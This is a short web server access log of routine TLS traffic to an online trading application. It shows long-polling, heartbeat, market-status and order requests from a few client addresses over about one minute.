[09/Jan/2026:14:47:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941551882 HTTP/1.1" -
[09/Jan/2026:14:47:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941547885 HTTP/1.1" -
[09/Jan/2026:14:47:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941563898 HTTP/1.1" -
[09/Jan/2026:14:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941548369 HTTP/1.1" -
[09/Jan/2026:14:48:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941556916 HTTP/1.1" -
[09/Jan/2026:14:48:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941552912 HTTP/1.1" -
[09/Jan/2026:14:48:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941568955 HTTP/1.1" -
[09/Jan/2026:14:48:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941553516 HTTP/1.1" -
[09/Jan/2026:14:48:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941561987 HTTP/1.1" -
[09/Jan/2026:14:48:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941557949 HTTP/1.1" -
[09/Jan/2026:14:48:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941574021 HTTP/1.1" -
[09/Jan/2026:14:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941558721 HTTP/1.1" -
[09/Jan/2026:14:48:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941567079 HTTP/1.1" -
[09/Jan/2026:14:48:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:48:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941562980 HTTP/1.1" -
[09/Jan/2026:14:48:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:14:48:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941579040 HTTP/1.1" -
[09/Jan/2026:14:48:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941563857 HTTP/1.1" -
[09/Jan/2026:14:48:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941572108 HTTP/1.1" -
[09/Jan/2026:14:48:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941568023 HTTP/1.1" -
[09/Jan/2026:14:48:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941584074 HTTP/1.1" -
[09/Jan/2026:14:48:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941568912 HTTP/1.1" -
[09/Jan/2026:14:48:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941577181 HTTP/1.1" -
[09/Jan/2026:14:48:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941573070 HTTP/1.1" -
[09/Jan/2026:14:48:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:14:48:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941589129 HTTP/1.1" -
[09/Jan/2026:14:48:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:48:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:48:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1212
[09/Jan/2026:14:48:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941573957 HTTP/1.1" -
[09/Jan/2026:14:48:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941582279 HTTP/1.1" -
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1020
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941578104 HTTP/1.1" -
[09/Jan/2026:14:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1776
[09/Jan/2026:14:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:14:48:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941594161 HTTP/1.1" -
[09/Jan/2026:14:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941579007 HTTP/1.1" -
[09/Jan/2026:14:48:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941587312 HTTP/1.1" -
[09/Jan/2026:14:48:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941583133 HTTP/1.1" -
[09/Jan/2026:14:48:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941599187 HTTP/1.1" -
[09/Jan/2026:14:48:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941584115 HTTP/1.1" -
[09/Jan/2026:14:48:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941592381 HTTP/1.1" -
[09/Jan/2026:14:48:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941588154 HTTP/1.1" -
[09/Jan/2026:14:48:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941604249 HTTP/1.1" -
[09/Jan/2026:14:48:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941589247 HTTP/1.1" -
[09/Jan/2026:14:48:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941597486 HTTP/1.1" -
[09/Jan/2026:14:48:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941593180 HTTP/1.1" -
[09/Jan/2026:14:48:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941609277 HTTP/1.1" -
[09/Jan/2026:14:48:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941594459 HTTP/1.1" -
[09/Jan/2026:14:48:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941602522 HTTP/1.1" -
[09/Jan/2026:14:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941598200 HTTP/1.1" -
[09/Jan/2026:14:48:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941614339 HTTP/1.1" -
[09/Jan/2026:14:48:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941599607 HTTP/1.1" -
[09/Jan/2026:14:48:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941607596 HTTP/1.1" -
[09/Jan/2026:14:48:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:48:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941603239 HTTP/1.1" -
[09/Jan/2026:14:48:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941619363 HTTP/1.1" -
[09/Jan/2026:14:48:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941604698 HTTP/1.1" -
